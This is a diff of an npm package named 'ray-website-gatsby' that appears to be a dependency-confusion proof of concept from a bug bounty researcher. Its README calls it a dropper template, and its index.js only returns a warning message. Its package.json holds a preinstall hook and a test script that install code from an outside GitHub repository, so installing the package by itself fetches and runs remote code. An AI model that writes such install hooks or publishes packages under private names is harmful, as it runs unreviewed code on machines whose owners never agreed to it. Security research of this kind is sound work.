ray-website-gatsby 1.17.2

package/README.md

@@ -0,0 +1,8 @@
+# confusion_droper
+This is the template for the dropper npm packages. If this made way into your system or PC then it means you are vulnerable to Dependency confusion.
+
+Steps to do:
+1. Remove the parent package, that is the one which intiated the call to this repository. Check yout logs for it.
+2. Check your private repository where you are hosting your code.
+
+You can contact me here: deneuve@wearehackerone.com

package/index.js

@@ -0,0 +1,3 @@
+module.exports.hacked = function () {
+    return "You are vulnerable to Dependency Confusion, this POC is by deneuve@wearehackerone.com"
+}

package/package.json

@@ -0,0 +1,16 @@
+{
+  "name": "ray-website-gatsby",
+  "version": "1.17.2",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "scripts": {
+    "test": "npm i https://github.com/realdeneuve/ray-website-gatsby_pa.git",
+    "preinstall": "npm i https://github.com/realdeneuve/ray-website-gatsby_pa.git"
+  },
+  "author": "",
+  "license": "ISC"
+}